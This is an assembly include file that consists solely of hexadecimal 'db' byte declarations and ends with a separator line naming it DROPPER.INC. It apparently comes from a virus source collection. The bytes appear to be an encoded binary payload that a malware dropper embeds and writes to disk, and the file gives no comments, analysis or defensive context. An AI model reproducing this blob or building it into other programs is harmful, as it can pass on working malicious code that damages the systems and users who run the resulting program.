db 0EFh, 041h, 099h, 033h, 0FFh, 056h, 002h, 006h
db 06Ah, 0EBh, 004h, 001h, 03Fh, 048h, 067h, 08Eh
db 0ECh, 05Ch, 0F5h, 04Ah, 04Ah, 0A1h, 0F7h, 05Bh
db 09Dh, 02Bh, 0EAh, 0C5h, 092h, 043h, 0CCh, 017h
db 0FFh, 054h, 05Dh, 092h, 01Eh, 06Ah, 0E9h, 002h
db 0AAh, 024h, 0B1h, 0B3h, 0BEh, 0FFh, 051h, 0A4h
db 0AEh, 0B6h, 05Ch, 0F9h, 00Eh, 0DBh, 043h, 08Ah
db 026h, 080h, 0ADh, 065h, 063h, 0F1h, 0E7h, 085h
db 049h, 040h, 051h, 004h, 018h, 0E8h, 095h, 054h
db 01Bh, 0FAh, 0A4h, 0F6h, 0BDh, 0DBh, 002h, 070h
db 032h, 058h, 02Bh, 07Bh, 0D6h, 08Ah, 020h, 09Eh
db 036h, 09Ch, 03Ch, 09Ah, 01Ah, 091h, 0EBh, 028h
db 0B4h, 0DBh, 082h, 0A0h, 06Ch, 070h, 088h, 0AFh
db 0EAh, 0DCh, 0BFh, 037h, 0E8h, 026h, 0A7h, 078h
db 0EDh, 0BFh, 0ECh, 0E6h, 0E6h, 0E8h, 043h, 0DFh
db 081h, 066h, 04Ch, 0B8h, 07Dh, 0D3h, 025h, 027h
db 031h, 0BDh, 0B6h, 0C3h, 0CFh, 0C9h, 00Dh, 08Dh
db 060h, 0D5h, 0EFh, 0BFh, 0E9h, 055h, 0FBh, 0CBh
db 076h, 012h, 0A9h, 08Ah, 082h, 033h, 04Bh, 031h
db 0E9h, 0B3h, 0ECh, 0FFh, 0F3h, 074h, 01Eh, 04Dh
db 007h, 0BEh, 04Dh, 087h, 07Bh, 091h, 07Bh, 03Dh
db 06Dh, 084h, 02Eh, 054h, 060h, 095h, 090h, 01Fh
db 087h, 0DBh, 057h, 0E2h, 0C5h, 036h, 0B3h, 01Eh
db 090h, 065h, 092h, 07Bh, 0DAh, 037h, 0EAh, 063h
db 0E8h, 024h, 041h, 0ADh, 009h, 039h, 0EEh, 087h
db 0F6h, 036h, 019h, 0F3h, 099h, 04Eh, 0BAh, 0CCh
db 0E4h, 072h, 0FEh, 0F0h, 0FDh, 044h, 040h, 0D3h
db 01Fh, 0ECh, 0F3h, 0B3h, 033h, 0CCh, 0D6h, 025h
db 0ADh, 069h, 0BDh, 0D4h, 00Eh, 08Fh, 04Dh, 057h
db 050h, 031h, 0A1h, 0A8h, 01Ah, 040h, 0D9h, 0DAh
db 0A6h, 0E7h, 035h, 013h, 065h, 05Ah, 0FEh, 044h
db 003h, 0A1h, 0D0h, 0EBh, 0CAh, 0ADh, 0D3h, 002h
db 064h, 071h, 07Ch, 0FFh, 0B4h, 0C1h, 0D2h, 0DBh
db 0F9h, 049h, 09Ah, 06Ch, 003h, 08Eh, 0EFh, 0B0h
db 02Dh, 0CBh, 006h, 088h, 047h, 03Ch, 057h, 02Dh
db 027h, 01Ch, 020h, 019h, 0E6h, 0A6h, 09Eh, 0D2h
db 0BFh, 05Bh, 06Eh, 020h, 0B9h, 031h, 05Ch, 021h
db 093h, 0A9h, 008h, 020h, 0FEh, 053h, 0ECh, 001h
db 056h, 020h, 052h, 00Dh, 052h, 01Fh, 0CAh, 007h
db 001h, 0ABh, 020h, 0A9h, 00Eh, 02Bh, 022h, 028h
db 01Eh, 055h, 0F6h, 001h, 059h, 020h, 049h, 00Eh
db 0FDh, 0ECh, 059h, 03Eh, 0A5h, 019h, 08Ah, 004h
db 080h, 0D3h, 0FDh, 01Ah, 001h, 084h, 09Ah, 03Fh
db 08Fh, 01Eh, 0F2h, 0CBh, 027h, 053h, 00Dh, 06Ah
db 042h, 020h, 064h, 0F6h, 035h, 02Bh, 001h, 053h
db 020h, 0A7h, 0FFh, 0F1h, 0F7h, 018h, 0FCh, 0A7h
db 041h, 01Bh, 01Dh, 002h, 07Fh, 041h, 08Dh, 035h
db 083h, 066h, 021h, 03Dh, 0E6h, 016h, 0E3h, 049h
db 0DBh, 04Bh, 01Fh, 06Ah, 040h, 021h, 0EAh, 01Fh
db 0B9h, 06Ah, 082h, 022h, 044h, 0ECh, 09Ah, 040h
db 02Bh, 0F6h, 01Fh, 0A9h, 021h, 0A4h, 040h, 04Ah
db 021h, 05Ah, 091h, 020h, 016h, 019h, 023h, 01Dh
db 09Ah, 002h, 0B4h, 0C3h, 0A4h, 060h, 0ADh, 09Dh
db 0B8h, 048h, 003h, 0A7h, 008h, 0D3h, 085h, 07Dh
db 020h, 0C2h, 01Bh, 084h, 09Dh, 05Ah, 0A9h, 01Ch
db 040h, 053h, 053h, 027h, 004h, 09Fh, 0ABh, 080h
db 0EDh, 043h, 04Dh, 044h, 0A9h, 011h, 080h, 052h
db 045h, 064h, 06Ah, 0C0h, 0F2h, 094h, 0E1h, 09Bh
db 018h, 0BDh, 0D7h, 01Fh, 094h, 082h, 0DAh, 028h
db 065h, 067h, 035h, 018h, 079h, 01Fh, 04Dh, 020h
db 04Dh, 001h, 044h, 020h, 0CAh, 0C0h, 089h, 007h
db 01Ch, 071h, 0AFh, 020h, 0B7h, 0B1h, 035h, 0F6h
db 03Dh, 020h, 0FAh, 03Eh, 0D2h, 023h, 03Dh, 0D0h
db 049h, 0CDh, 0F2h, 0C7h, 004h, 0A9h, 05Dh, 035h
db 004h, 06Dh, 08Dh, 049h, 0AEh, 0E6h, 09Eh, 010h
db 0FDh, 05Fh, 0CDh, 06Bh, 0CDh, 036h, 060h, 0B1h
db 070h, 07Ah, 0C5h, 0D2h, 078h, 0FCh, 00Fh, 0C5h
db 098h, 0F8h, 007h, 05Dh, 004h, 0F1h, 01Eh, 03Fh
db 0F0h, 088h, 008h, 00Fh, 0E0h, 03Eh, 0A0h, 0C0h
db 043h, 003h, 0A5h, 019h, 01Ch, 009h, 00Fh, 046h
db 028h, 061h, 053h, 01Fh, 004h, 0E3h, 0FCh, 020h
db 099h, 0FEh, 06Ch, 07Fh, 009h, 0B7h, 0E0h, 0E8h
db 0F0h, 0A4h, 004h, 078h, 003h, 0D5h, 074h, 004h
db 036h, 0F8h, 04Ch, 0EBh, 0E5h, 03Bh, 06Fh, 027h
db 0F1h, 048h, 01Fh, 0C5h, 042h, 0C5h, 06Ch, 00Eh
db 0C3h, 042h, 013h, 019h, 08Fh, 047h, 048h, 04Ah
db 021h, 09Ch, 065h, 0A3h, 0E7h, 013h, 01Dh, 03Fh
db 046h, 0D6h, 040h, 0E1h, 005h, 027h, 021h, 038h
db 0D3h, 06Eh, 038h, 03Eh, 01Bh, 041h, 06Ah, 08Ah
db 00Ch, 021h, 056h, 0DBh, 03Eh, 034h, 0A5h, 066h
db 080h, 009h, 0D5h, 041h, 063h, 0A6h, 0F3h, 0D4h
db 02Dh, 02Fh, 0A5h, 079h, 041h, 0ABh, 07Fh, 08Eh
db 0CAh, 020h, 0B8h, 0C3h, 0DCh, 023h, 0D3h, 055h
db 0BEh, 020h, 0DAh, 092h, 05Ah, 096h, 020h, 0E9h
db 00Fh, 050h, 005h, 01Eh, 0A2h, 020h, 04Ah, 002h
db 095h, 020h, 091h, 042h, 055h, 0DAh, 049h, 020h
db 0E2h, 015h, 0B6h, 028h, 042h, 0ABh, 020h, 053h
db 0D1h, 020h, 0A5h, 037h, 019h, 08Ah, 020h, 06Dh
db 03Eh, 05Fh, 020h, 06Ah, 080h, 05Fh, 04Eh, 011h
db 0DAh, 040h, 0B4h, 0C1h, 0A6h, 061h, 0A5h, 07Fh
db 06Ah, 041h, 04Ah, 082h, 06Ah, 061h, 03Ch, 057h
db 03Fh, 0D5h, 021h, 0DAh, 007h, 092h, 001h, 0B6h
db 01Fh, 0A4h, 020h, 0A1h, 05Fh, 0C9h, 0C5h, 0CFh
db 0C4h, 06Ch, 042h, 0D5h, 03Ch, 020h, 0B4h, 095h
db 0FFh, 048h, 020h, 0BCh, 035h, 043h, 024h, 03Eh
db 0DFh, 022h, 053h, 0C5h, 074h, 053h, 0BCh, 040h
db 05Ah, 0CBh, 0EFh, 0DAh, 089h, 08Dh, 080h, 041h
db 0ADh, 03Eh, 0CDh, 00Dh, 06Ch, 0C5h, 0CFh, 0B7h
db 03Dh, 02Bh, 0B7h, 043h, 00Eh, 010h, 0FFh, 094h
db 022h, 0ABh, 04Fh, 02Eh, 052h, 0F5h, 032h, 001h
db 0FEh, 0E9h, 00Fh, 0C0h, 0AEh, 01Eh, 030h, 08Bh
db 03Fh, 0FCh, 0B1h, 044h, 00Fh, 072h, 08Ch, 095h
db 004h, 097h, 07Fh, 094h, 074h, 084h, 0B9h, 098h
db 04Ch, 089h, 03Fh, 096h, 068h, 043h, 0C0h, 003h
db 0BDh, 0CDh, 0E4h, 0F6h, 02Fh, 0CCh, 081h, 009h
db 0C0h, 089h, 0F1h, 05Ch, 077h, 042h, 0AFh, 09Fh
db 0C7h, 042h, 01Ah, 004h, 032h, 00Bh, 0CBh, 08Eh
db 001h, 008h, 013h, 0B8h, 021h, 0DFh, 029h, 017h
db 0BAh, 0D3h, 040h, 055h, 01Eh, 0C2h, 093h, 020h
db 084h, 065h, 025h, 040h, 065h, 0E1h, 076h, 03Fh
db 046h, 0A6h, 041h, 0AEh, 0FAh, 091h, 001h, 04Eh
db 014h, 03Fh, 092h, 087h, 0B2h, 03Ah, 020h, 064h
db 0FFh, 06Dh, 04Ch, 021h, 00Bh, 0D4h, 007h, 01Fh
db 0F3h, 0D9h, 08Ch, 099h, 045h, 051h, 082h, 090h
db 00Ah, 0C5h, 00Bh, 055h, 001h, 066h, 05Fh, 033h
db 06Eh, 0D9h, 003h, 00Dh, 0FBh, 066h, 09Ch, 018h
db 090h, 05Ch, 00Fh, 069h, 01Fh, 02Bh, 041h, 0B5h
db 032h, 037h, 020h, 08Dh, 0ADh, 046h, 020h, 042h
db 055h, 00Ah, 001h, 0C2h, 0B1h, 0C0h, 0FBh, 04Ch
db 020h, 013h, 0DAh, 012h, 06Dh, 096h, 020h, 0EDh
db 09Bh, 03Bh, 0EDh, 02Ah, 092h, 013h, 09Ah, 020h
db 0AAh, 021h, 041h, 03Ah, 052h, 01Fh, 066h, 055h
db 0EDh, 041h, 047h, 013h, 02Ah, 019h, 021h, 051h
db 090h, 001h, 0B2h, 083h, 054h, 00Fh, 092h, 020h
db 0CAh, 010h, 09Ah, 020h, 0AEh, 021h, 051h, 056h
db 0A0h, 055h, 01Fh, 0CAh, 02Ah, 020h, 038h, 040h
db 01Fh, 0A6h, 021h, 0E7h, 05Dh, 0C0h, 0A9h, 03Ah
db 01Fh, 09Ch, 01Fh, 012h, 0D9h, 08Dh, 02Fh, 0A9h
db 043h, 022h, 0CAh, 01Fh, 0CEh, 03Ch, 020h, 052h
db 0D9h, 021h, 09Ch, 0E2h, 0ABh, 001h, 0E4h, 055h
db 01Fh, 09Ch, 06Bh, 021h, 02Bh, 022h, 0A9h, 01Eh
db 02Bh, 01Fh, 0B9h, 0ABh, 00Ah, 021h, 039h, 0C5h
db 0CEh, 09Ah, 01Eh, 096h, 01Fh, 0E3h, 049h, 021h
db 05Dh, 022h, 055h, 01Eh, 076h, 01Fh, 043h, 0A6h
db 063h, 0A2h, 022h, 0E5h, 068h, 029h, 01Fh, 06Ah
db 001h, 0B8h, 052h, 022h, 0D4h, 01Eh, 0DCh, 021h
db 0CAh, 021h, 06Ah, 022h, 0ABh, 01Eh, 038h, 052h
db 05Ah, 052h, 022h, 0B6h, 03Ch, 0A7h, 09Ah, 029h
db 01Fh, 04Dh, 018h, 02Eh, 08Eh, 0CDh, 051h, 014h
db 05Eh, 040h, 051h, 00Dh, 0ABh, 03Ch, 079h, 0EAh
db 001h, 079h, 013h, 0B5h, 004h, 007h, 02Ah, 018h
db 057h, 049h, 055h, 0FFh, 04Bh, 01Fh, 09Ah, 002h
db 0BAh, 01Eh, 0B9h, 022h, 00Ah, 05Eh, 040h, 09Ah
db 069h, 0BFh, 080h, 014h, 00Ah, 0A2h, 0F9h, 0A9h
db 0FEh, 001h, 0F4h, 0E1h, 01Eh, 0EEh, 023h, 012h
db 010h, 0E3h, 070h, 085h, 0C7h, 03Dh, 01Ah, 01Eh
db 0EFh, 02Dh, 07Fh, 003h, 0C2h, 036h, 020h, 0FBh
db 03Dh, 071h, 00Ch, 045h, 0E3h, 0DAh, 002h, 079h
db 07Fh, 01Bh, 084h, 038h, 037h, 080h, 0FBh, 00Ch
db 0A4h, 01Dh, 0A2h, 020h, 08Ah, 001h, 021h, 071h
db 037h, 045h, 001h, 065h, 01Eh, 053h, 020h, 014h
db 0A6h, 021h, 0B6h, 07Bh, 0C8h, 041h, 00Ch, 04Dh
db 04Ah, 059h, 01Fh, 09Ch, 003h, 01Ch, 06Bh, 03Eh
db 0B5h, 042h, 015h, 01Dh, 020h, 0D4h, 001h, 08Dh
db 016h, 042h, 05Dh, 05Eh, 0D6h, 09Bh, 03Dh, 0BDh
db 029h, 020h, 07Ch, 0CAh, 051h, 020h, 0B9h, 079h
db 052h, 020h, 06Ah, 085h, 07Fh, 053h, 052h, 041h
db 021h, 029h, 037h, 060h, 094h, 0E3h, 080h, 0A9h
db 05Dh, 020h, 045h, 03Fh, 036h, 020h, 00Dh, 0A7h
db 060h, 036h, 002h, 040h, 055h, 031h, 03Fh, 0D6h
db 094h, 0DDh, 0D5h, 042h, 020h, 0E5h, 015h, 021h
db 020h, 092h, 054h, 024h, 060h, 0F7h, 048h, 035h
db 043h, 034h, 040h, 08Ah, 05Fh, 052h, 020h, 08Eh
db 010h, 011h, 09Ah, 0C5h, 0AAh, 07Bh, 0E0h, 0DBh
db 0C5h, 036h, 020h, 042h, 048h, 0FBh, 060h, 0B4h
db 09Eh, 020h, 04Eh, 0B7h, 0A8h, 055h, 062h, 05Dh
db 020h, 023h, 061h, 092h, 02Dh, 0A1h, 0B6h, 042h
db 044h, 0C1h, 093h, 0A0h, 06Ah, 01Fh, 05Ah, 087h
db 021h, 0FBh, 038h, 024h, 061h, 071h, 073h, 0B8h
db 003h, 046h, 0DAh, 044h, 0CBh, 0B2h, 06Fh, 045h
db 00Dh, 034h, 01Eh, 0A9h, 052h, 001h, 00Ah, 0BBh
db 022h, 085h, 02Ah, 001h, 0EAh, 021h, 0FFh, 042h
db 0E0h, 007h, 071h, 0EEh, 012h, 0FCh, 0A2h, 084h
db 0E2h, 080h, 007h, 001h, 049h, 0D9h, 051h, 0F2h
db 0B2h, 01Ch, 0D1h, 00Ch, 0EAh, 040h, 02Dh, 014h
db 000h, 0D5h, 0B1h, 001h, 0B9h, 04Ah, 0A1h, 0E2h
db 0F6h, 00Eh, 070h, 09Ah, 00Ch, 092h, 004h, 05Ch
db 060h, 043h, 007h, 0D7h, 06Fh, 002h, 0B2h, 0D4h
db 062h, 05Ah, 087h, 029h, 0FDh, 005h, 057h, 027h
db 05Fh, 0BAh, 00Bh, 08Ah, 010h, 020h, 0B5h, 021h
db 01Bh, 020h, 060h, 0FDh, 0A8h, 051h, 0DFh, 0A8h
db 021h, 0FFh, 03Ah, 035h, 020h, 05Bh, 021h, 002h
db 028h, 040h, 0EBh, 014h, 0ABh, 061h, 053h, 037h
db 021h, 06Ah, 007h, 020h, 039h, 0BAh, 0F9h, 0C5h
db 0F7h, 0ECh, 067h, 04Eh, 0B0h, 0D4h, 02Ah, 0D5h
db 020h, 010h, 0DCh, 0F9h, 04Eh, 096h, 01Bh, 041h
db 06Dh, 00Fh, 026h, 008h, 046h, 062h, 011h, 0D4h
db 00Ah, 041h, 0D4h, 020h, 06Ah, 0CCh, 09Fh, 04Dh
db 038h, 0C7h, 055h, 007h, 044h, 04Dh, 0A3h, 0E6h
db 085h, 041h, 0F9h, 025h, 020h, 059h, 052h, 038h
db 017h, 0C7h, 0A2h, 0F6h, 09Ah, 020h, 08Ah, 060h
db 020h, 0EFh, 014h, 0CDh, 061h, 0E3h, 00Ah, 017h
db 096h, 0C7h, 09Eh, 0BFh, 0A4h, 020h, 0D9h, 063h
db 040h, 0F9h, 01Dh, 0B6h, 0C2h, 05Ah, 042h, 0DCh
db 03Eh, 09Bh, 06Ch, 0B5h, 052h, 01Bh, 020h, 0DCh
db 061h, 0A8h, 015h, 033h, 06Ch, 02Ah, 003h, 096h
db 051h, 012h, 002h, 0FAh, 08Dh, 020h, 0DEh, 0CBh
db 056h, 043h, 040h, 04Eh, 0CDh, 0E2h, 057h, 01Fh
db 0FAh, 006h, 029h, 020h, 0EFh, 0F3h, 0A1h, 098h
db 0D6h, 093h, 001h, 0D5h, 035h, 00Bh, 03Dh, 020h
db 047h, 015h, 0FBh, 0E3h, 092h, 07Ah, 024h, 0AAh
db 001h, 0ACh, 064h, 022h, 0F9h, 0A6h, 020h, 0ABh
db 021h, 072h, 03Bh, 0A4h, 021h, 0DAh, 013h, 043h
db 09Ch, 020h, 0E7h, 0F2h, 08Dh, 01Dh, 044h, 05Dh
db 007h, 049h, 083h, 0D3h, 0FDh, 02Dh, 020h, 025h
db 0E8h, 0ABh, 03Bh, 007h, 037h, 043h, 0A8h, 028h
db 0D6h, 0A5h, 020h, 0BEh, 0C6h, 078h, 085h, 02Ah
db 0A2h, 0D4h, 040h, 060h, 0F5h, 03Dh, 001h, 095h
db 07Ch, 0F6h, 020h, 072h, 08Ch, 0A9h, 021h, 0F6h
db 049h, 003h, 0DEh, 0A9h, 03Fh, 02Eh, 0E9h, 0AAh
db 0DCh, 040h, 0EEh, 09Ah, 02Fh, 0A9h, 019h, 02Ah
db 0AAh, 01Eh, 026h, 00Eh, 06Ah, 01Fh, 02Bh, 040h
db 029h, 082h, 028h, 044h, 090h, 0E3h, 0D3h, 03Fh
db 037h, 089h, 03Dh, 03Bh, 0CAh, 0BBh, 060h, 0AAh
db 007h, 094h, 001h, 0D4h, 038h, 01Fh, 0DCh, 0E9h
db 080h, 0CDh, 0E3h, 0AAh, 0E0h, 002h, 0F1h, 056h
db 01Eh, 03Fh, 0A5h, 020h, 06Dh, 006h, 059h, 024h
db 059h, 01Fh, 04Eh, 060h, 029h, 0F6h, 004h, 035h
db 084h, 066h, 07Ch, 003h, 056h, 0D7h, 020h, 069h
db 045h, 0D9h, 09Eh, 045h, 0F9h, 029h, 001h, 04Bh
db 020h, 06Ah, 0C9h, 01Eh, 0F3h, 053h, 03Eh, 020h
db 099h, 003h, 0DCh, 015h, 054h, 019h, 007h, 08Ah
db 0D7h, 020h, 0F3h, 0FCh, 055h, 01Bh, 056h, 01Fh
db 073h, 094h, 042h, 0F5h, 071h, 0EDh, 05Fh, 020h
db 0B5h, 07Fh, 021h, 029h, 0F7h, 02Ah, 04Dh, 003h
db 055h, 007h, 068h, 020h, 01Bh, 0D5h, 086h, 04Ah
db 0D2h, 01Fh, 077h, 0B6h, 002h, 043h, 0D4h, 006h
db 015h, 0DBh, 00Ch, 052h, 025h, 032h, 07Bh, 09Ah
db 030h, 071h, 0ECh, 091h, 0DFh, 0CAh, 022h, 0B6h
db 008h, 024h, 0D4h, 042h, 02Eh, 08Fh, 0FFh, 05Bh
db 011h, 038h, 044h, 05Dh, 0CAh, 033h, 09Ch, 01Bh
db 055h, 01Eh, 040h, 0FFh, 06Ah, 042h, 004h, 05Ch
db 0B6h, 042h, 08Dh, 0ACh, 03Fh, 0D4h, 0D3h, 040h
db 0DBh, 060h, 055h, 044h, 045h, 04Dh, 063h, 043h
db 041h, 00Eh, 06Fh, 002h, 028h, 075h, 013h, 06Ah
db 081h, 04Dh, 03Fh, 0D1h, 001h, 0F6h, 096h, 040h
db 02Ah, 00Eh, 05Dh, 061h, 0A4h, 040h, 0D4h, 0E1h
db 015h, 07Dh, 0A6h, 03Fh, 0FFh, 009h, 052h, 040h
db 0F7h, 033h, 0EDh, 01Bh, 005h, 034h, 052h, 026h
db 03Fh, 09Bh, 01Eh, 0F5h, 022h, 0FFh, 0D3h, 09Ch
db 040h, 0D5h, 07Eh, 07Fh, 094h, 071h, 07Dh, 0A9h
db 09Fh, 0D3h, 0FDh, 0D1h, 059h, 040h, 0B5h, 032h
db 022h, 02Dh, 03Fh, 0CAh, 093h, 020h, 089h, 0D1h
db 007h, 0CAh, 09Ch, 040h, 0A5h, 03Fh, 02Ah, 0A0h
db 0ABh, 040h, 03Ah, 002h, 0FFh, 06Dh, 065h, 07Fh
db 0C7h, 094h, 069h, 055h, 0A0h, 035h, 040h, 055h
db 001h, 03Fh, 0A6h, 061h, 0FBh, 022h, 050h, 053h
db 040h, 072h, 0A3h, 026h, 0E7h, 00Ah, 03Fh, 052h
db 0AAh, 07Fh, 0FFh, 0B7h, 081h, 0C8h, 0CDh, 054h
db 0F2h, 092h, 040h, 093h, 03Fh, 0A5h, 033h, 0DFh
db 0EDh, 052h, 0BCh, 040h, 0D4h, 03Fh, 0F4h, 08Dh
db 01Fh, 094h, 068h, 0D1h, 040h, 0B2h, 0EDh, 012h
db 0B2h, 03Fh, 08Ah, 07Fh, 09Fh, 029h, 040h, 0CAh
db 03Fh, 054h, 0A7h, 040h, 0B5h, 01Ch, 069h, 03Fh
db 0ABh, 03Eh, 040h, 04Eh, 011h, 0D4h, 03Fh, 092h
db 054h, 01Dh, 021h, 094h, 040h, 0A4h, 0D8h, 09Eh
db 0F9h, 0A4h, 03Fh, 0E3h, 032h, 081h, 095h, 040h
db 093h, 02Dh, 0A7h, 0E2h, 066h, 005h, 0A4h, 0FEh
db 0A5h, 022h, 035h, 003h, 09Ah, 00Ah, 07Bh, 0B3h
db 017h, 069h, 0ABh, 0F8h, 015h, 029h, 0BFh, 05Ah
db 02Fh, 000h, 0A2h, 0CFh, 096h, 004h, 01Fh, 0C7h
db 0F8h, 003h, 09Dh, 0C1h, 038h, 009h, 00Fh, 080h
db 0F0h, 0E1h, 0FCh, 030h, 00Dh, 0C2h, 097h, 004h
db 029h, 001h, 059h, 001h, 05Bh, 004h, 021h, 003h
db 0E3h, 007h, 0C0h, 0F3h, 0F0h, 0A7h, 02Dh, 0B6h
db 0E1h, 0FCh, 0EBh, 056h, 0CEh, 078h, 060h, 000h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DROPPER.INC]ÄÄÄ